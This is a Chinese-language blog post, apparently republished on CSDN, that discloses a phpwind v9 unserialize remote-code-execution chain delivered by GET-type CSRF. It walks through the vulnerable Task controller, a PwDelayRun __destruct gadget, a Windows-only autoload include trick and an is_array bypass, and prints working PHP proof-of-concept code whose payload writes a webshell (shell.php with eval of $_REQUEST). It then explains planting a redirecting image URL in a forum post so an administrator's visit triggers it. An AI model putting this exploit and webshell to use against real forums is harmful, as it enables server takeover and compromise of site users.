用友漏洞php,Phpwind GET型CSRF任意代码执行漏洞公开

这个洞其实很有意思,最可惜的地方就是其触发位置在后台,否则它将是一个绝无仅有的好洞。

0x01 后台反序列化位置

首先纵览整个phpwindv9,反序列化的位置很多,但基本都是从数据库里取出的,很难完全控制序列化字符串。
最后,找到三处:

ea9527836dd324676cfaa1fc9c617dbf.png

可恶的是,三处都在后台的Task模块下。Task模块是『任务中心』功能,只有能进入后台的用户才可以访问:

d39ca13b3cd900286dd1f7c4b3821711.png

随便打开一个, src/applications/task/admin/TaskConditionMemberController.phpclass TaskConditionMemberController extends AdminBaseController{

/* (non-PHPdoc)

* @see AdminBaseController::beforeAction()

*/

public function beforeAction($handlerAdapter) {

parent::beforeAction($handlerAdapter);

$var = unserialize($this->getInput('var'));

if (is_array($var)) {

$this->setOutput($var, 'condition');

}

}

beforeAction将会在实际执行Action之前执行。这里$var = unserialize($this->getInput('var'));,从Input中获取var参数的值,进行反序列化。
这个Input可以来自get/post/cookie。我们只要在phpwind里找到反序列化可以利用的点,就能在这里触发反序列化漏洞。

0x02 PwDelayRun类__destruct方法

全局搜一下关键词__destruct,很快找到了PwDelayRun类:class PwDelayRun {

private static $instance = null;

private $_callback = array();

private $_args = array();

private function __construct() {

}

public function __destruct() {

foreach ($this->_callback as $key => $value) {

call_user_func_array($value, $this->_args[$key]);

}

}

...

}

可见__destruct方法,其中遍历了_callback数组,用call_user_func_array执行任意函数。这里如果_callback可控,那么就可以直接执行assert+任意代码了。
原本是一个十分简单的漏洞,但我们在TaskConditionMemberController::beforeAction::unserialize里下断点,执行var_dump(get_declared_classes());exit;,查看当前已经定义的类:Array

(

[0] => stdClass

[1] => Exception

...

[330] => WindMysqlPdoAdapter

[331] => WindResultSet

[332] => AdminUserBo

[333] => AdminLogService

[334] => WindFile

)

其中并没有PwDelayRun类。看来在反序列化的时候,并没有加载这个类,所以我即使构造了利用方法,也『造』不出PwDelayRun对象。
那怎么办?

0x03 利用spl_autoload包含任意php文件

在Joomla那个反序列化漏洞( https://**.**.**.**/PENETRATION/joomla-unserialize-code-execute-vulnerability.html )里,提到了一个方法。
因为Joomla内的spl_autoload会根据类名自动加载文件,所以当时构造了一个JSimplepieFactory类对象,而factory.php中包含了import目标类的方法:

5a77b43266e366e6fbb884b637a57c00.png

所以成功反序列化了simplepie类。
回到Phpwind。同道理,我们在Phpwind中看看哪些文件包含了PwDelayRun:

d0f429f404d45c6146cee7ad10a35fad.png

静态包含PwDelayRun的就只有PwConfigService类。我在刚才获得的类里看看,不幸的是,PwConfigService也没有加载。
继续查找PwConfigService,并没有静态加载这个类的方法:

10497c54e5da2da3563a68d83e5e6622.png

所以我们这个链就断了。
但利用spl_autoload这个思路不能断,我们思考一下,现代php框架中必然存在autoload,在反序列化的过程中发现了不存在的类『PwDelayRun』,就会直接传入注册好的spl_autoload函数中。我在 /wind/Wind.php 中,可以找到spl_autoload_register函数的调用:public static function init() {

self::$isDebug = WIND_DEBUG;

function_exists('date_default_timezone_set') && date_default_timezone_set('Etc/GMT+0');

self::register(WIND_PATH, 'WIND', true);

if (!self::$_isAutoLoad) return;

if (function_exists('spl_autoload_register'))

spl_autoload_register('Wind::autoLoad');

else

self::$_isAutoLoad = false;

self::_loadBaseLib();

}

将Wind::autoload注册为自动加载函数。跟进Wind::autoLoadpublic static function autoLoad($className, $path = '') {

if ($path)

include $path . '.' . self::$_extensions;

elseif (isset(self::$_classes[$className])) {

include self::$_classes[$className] . '.' . self::$_extensions;

} else

include $className . '.' . self::$_extensions;

}

autoLoad第二个参数是没有值的,所以这里,最后会走到这一步:include $className . '.' . self::$_extensions;。
看到include我就有点激动,但静下心想一下发现还是有问题的。因为这里的className是没有路径的,而PwDelayRun类在src/library/utility/PwDelayRun.php文件中,我需要传入路径才可以包含到这个类。
虽然类名不能包含特殊字符,但其实类名中是可以包含\的:

597c60e409f9dcd87d3b93f8c687186a.png

这涉及到php中的命名空间的知识。学过新型框架的同学肯定对命名空间十分熟悉,所以我没必要多介绍。命名空间中可以包含\,而在windows下,\也可以作为路径的分隔符。(由此可见,这个漏洞仅限于Windows服务器)
所以这里,我可以将类名设置为src\library\utility\PwDelayRun(其实就是src\library\utility命名空间下的PwDelayRun类),最后在Wind::autoload里进行包含 include src\library\utility\PwDelayRun.php

0x04 利用数组+命名空间加载相同名字的类

还有一个问题,我们这里将类名设置为src\library\utility\PwDelayRun,而:整个phpwind全局是没有使用命名空间的,也就是默认命名空间为\,但现在的PwDelayRun类所在的命名空间为src\library\utility。
这样,即使我包含了src\library\utility\PwDelayRun.php文件,反序列化的时候是实例化的src\library\utility\PwDelayRun类。但phpwind的命名空间是\,上下文存在的类是\PwDelayRun类,还是无法正常进行(因为找不到src\library\utility\PwDelayRun类)。
我想了一下,其实也好办,只要变通一下。我们只要生成src\library\utility\PwDelayRun类和\PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文件,在反序列化后者的过程中拿到PwDelayRun对象。
我构造了一个POC:// test1.php

header("Content-Type: text/plain");

require_once "test2.php";

class PwDelayRun{

private $_callback;

private $_args;

function __construct()

{

$this->_callback = [

'assert'

];

$this->_args = [

["phpinfo();exit;"]

];

}

}

$obj = [

new src\library\utility\PwDelayRun(),

new PwDelayRun()

];

echo urlencode(serialize($obj));

//test2.php

namespace src\library\utility;

class PwDelayRun{

}

执行test1.php即可拿到POC对象。

88e17782af1d6800d5a16be09331abf9.png

将这个字符串传入var参数,结果……

bb749af4954d4832f708bd4be332efb2.png

啥事也没发生……这是什么情况?

0x05 利用stdClass代替数组绕过限制

我们回看TaskConditionMember类,看看反序列化的那个beforeAction函数:public function beforeAction($handlerAdapter) {

parent::beforeAction($handlerAdapter);

$var = unserialize($this->getInput('var'));

if (is_array($var)) {

$this->setOutput($var, 'condition');

}

}

后面有个判断is_array,是它在捣鬼。
如果var是数组的话,就设置到output里。所以,最后该对象并没有销毁,没有销毁那么实际上就没有调用__destruct函数,所以也无法执行任意代码了。
要让is_array返回false,只需序列化一个非数组对象即可。其实在php源码层,对象是用数组来模拟的,我们只需要用一个对象代替数组即可。
php最简单的对象就是stdClass,我将POC改为如下即可:// test.php

header("Content-Type: text/plain");

require_once "test2.php";

class PwDelayRun{

private $_callback;

private $_args;

function __construct()

{

$this->_callback = [

'assert'

];

$this->_args = [

["phpinfo();file_put_contents('shell.php','<?php eval(\$_REQUEST[233]); ?>');exit;"]

];

}

}

$obj = new stdClass();

$obj->a = new src\library\utility\PwDelayRun();

$obj->b = new PwDelayRun();

echo urlencode(serialize($obj));

生成序列化字符串:

eaaf3f269682c74af36fbd5fd57ef259.png

传入var参数:

46437037d97b451a2095c67557724d54.png

万事大吉,成功!管理员只需拥有后台『论坛任务』功能,即可直接执行任意代码。

0x06 前台利用CSRF起飞

这个漏洞本是一个利用技巧很妙的漏洞,但最关键的问题是其出现在后台,利用门槛太高。
但这个漏洞又有一个特点,那就是其为GET方法,只需要一个URL即可触发。所以,我们可以用类似Discuz这个漏洞的方法: http://**.**.**.**/bugs/wooyun-2014-064886 ,将URL插入前台帖子的图片中:

88c7c33f94e315827ab14c13f2fc7a64.png

结果……phpwind给我把&都转义了,无法正常执行。
不过没关系,只要我写一个302跳转,跳转到目标URL即可:

4169e4666e0bbdb7851b4781a99b251c.png

将这个php作为图片地址写入帖子:

a26940b3b2851e107f3a7576f70dfcc8.png

管理员浏览:

6d68abf566d2f602862efe827114d6e6.png

获得webshell:

9103c6de70354aaca120510dfcad42d8.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值